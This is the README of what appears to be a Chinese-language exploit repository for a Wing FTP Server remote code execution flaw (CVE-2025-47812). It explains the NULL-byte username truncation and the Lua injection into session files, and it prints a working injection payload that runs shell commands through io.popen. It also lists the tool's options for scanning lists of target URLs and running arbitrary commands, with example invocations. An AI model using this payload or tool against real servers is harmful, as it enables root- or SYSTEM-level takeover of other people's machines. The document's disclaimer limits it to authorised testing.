Wing FTP Server 远程代码执行(RCE)漏洞利用工具 (CVE-2025-47812)
📌 致谢:漏洞由 Julien (@MrTuxracer) 发现。
本 PoC 实现基于其原始研究成果。
本仓库包含针对 Wing FTP Server 远程代码执行漏洞(CVE-2025-47812) 的 Python 漏洞利用代码。该严重缺陷允许攻击者在受影响的 Wing FTP Server 实例上以 root/SYSTEM 身份实现远程代码执行,即使仅启用了匿名访问。
该漏洞源于 Wing FTP Server 在认证过程中对用户名参数中的 NULL 字节处理不当。攻击者可借此将 Lua 代码直接注入会话文件。当有效会话被加载时,这些恶意会话文件会被执行,从而导致服务器上的任意命令执行。
该漏洞利用工具的主要特点包括:
本工具仅用于 教育和授权渗透测试目的。作者不对任何因使用本软件而导致的滥用或损坏承担责任。在对系统进行任何测试之前,请务必获得明确的书面许可。
该漏洞由 Julien (@MrTuxracer) 发现并详细记录。查看原始分析文章:
What the NULL?! Wing FTP Server RCE (CVE-2025-47812)
CVE-2025-47812 是一个严重漏洞,源于 Wing FTP Server 在管理用户认证和会话时存在的多个弱点:
c_CheckUser() 中的 NULL 字节截断: 负责用户认证的 c_CheckUser() 函数在内部对提供的用户名使用 strlen()。当用户名中注入 NULL 字节(%00)(例如 anonymous%00...)时,strlen() 会在该位置截断字符串。这意味着认证仅对 NULL 字节 之前 的用户名部分成功,从而有效绕过了正确的验证。loginok.html 中的 rawset(_SESSION, "username", username) 调用使用的是来自 GET 或 POST 参数的 完整、未净化的用户名。其中包含 NULL 字节及其后的任何字符。anonymous%00]]%0dlocal+h+%3d+io.popen("id")%0dlocal+r+%3d+h%3aread("*a")%0dh%3aclose()%0dprint(r)%0d--)会导致恶意代码直接被写入会话文件。/dir.html)时,SessionModule.load() 函数会被调用。该函数使用 loadfile(filepath) 后跟 f() 直接执行会话文件。这一关键步骤会触发注入的 Lua 代码,从而导致 远程代码执行。该漏洞尤其严重,因为 Wing FTP Server 默认通常以 Linux 上的 root 权限 或 Windows 上的 SYSTEM 权限 运行。这种默认配置使得攻击者在成功利用后能够对被入侵系统获得最大控制权。
受影响版本: 7.4.4 之前的 Wing FTP Server 版本存在漏洞。
本脚本支持多种命令行参数以定制其功能。
python3 CVE-2025-47812.py -h
usage: CVE-2025-47812.py [-h] [-u URL] [-f FILE] [-c COMMAND] [-v] [-o OUTPUT] [-U USERNAME]
通过 login.html 进行命令注入的漏洞利用脚本。
options:
-h, --help 显示此帮助信息并退出
-u URL, --url URL 目标 URL(例如 [http://192.168.134.130](http://192.168.134.130))。若未指定 -f 则必需。
-f FILE, --file FILE 包含目标 URL 列表的文件(每行一个)。
-c COMMAND, --command COMMAND
要执行的自定义命令。默认值:whoami。若指定此参数,则自动启用详细输出。
-v, --verbose 显示完整命令输出(详细模式)。若使用 -c 则忽略,因为详细输出会自动启用。
-o OUTPUT, --output OUTPUT
用于保存易受攻击 URL 的文件。
-U USERNAME, --username USERNAME
漏洞利用载荷中使用的用户名。默认值:anonymous
python3 CVE-2025-47812.py -u http://192.168.134.130 -c ipconfig
